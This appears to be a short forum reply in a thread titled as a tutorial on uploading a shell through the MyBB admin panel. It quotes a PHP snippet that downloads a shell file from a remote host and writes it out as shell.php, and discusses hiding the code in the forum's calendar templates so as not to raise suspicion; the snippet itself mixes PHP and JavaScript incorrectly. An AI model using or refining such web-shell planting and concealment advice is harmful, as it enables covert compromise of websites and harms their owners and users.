Login Register




The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


Tutorial Uploading a shell via the MyBB admin panel. filter_list
Author
Message
RE: Uploading a shell via the MyBB admin panel. #5
(02-18-2014, 06:33 PM)3SidedSquare Wrote:
Code:
function doit() { <?php $shelly= file_get_contents('http://www.yourdomain.com/yourshell.txt'); file_put_contents("shell.php", $shelly); echo $shelly; ?> } echo "<input type=\"text\" onkeypress=\"doit()\" width=0 height=0>";
I'm sure there are better ways, but this is what I came up with off the top of my head.

That wouldn't work. Once in the browser, there's no access to PHP functions without JavaScript.

(02-18-2014, 06:12 PM)Satan Wrote: How would you switch it back to the normal calendar so it doesn't raise suspicion, just saving the original text of the file itself?
Or does it not overwrite the calendar?

You could include the code at the top of the calendar templates.
(This post was last modified: 02-18-2014, 09:49 PM by Lain.)

Reply





Messages In This Thread
RE: Uploading a shell via the MyBB admin panel. - by Lain - 02-18-2014, 09:49 PM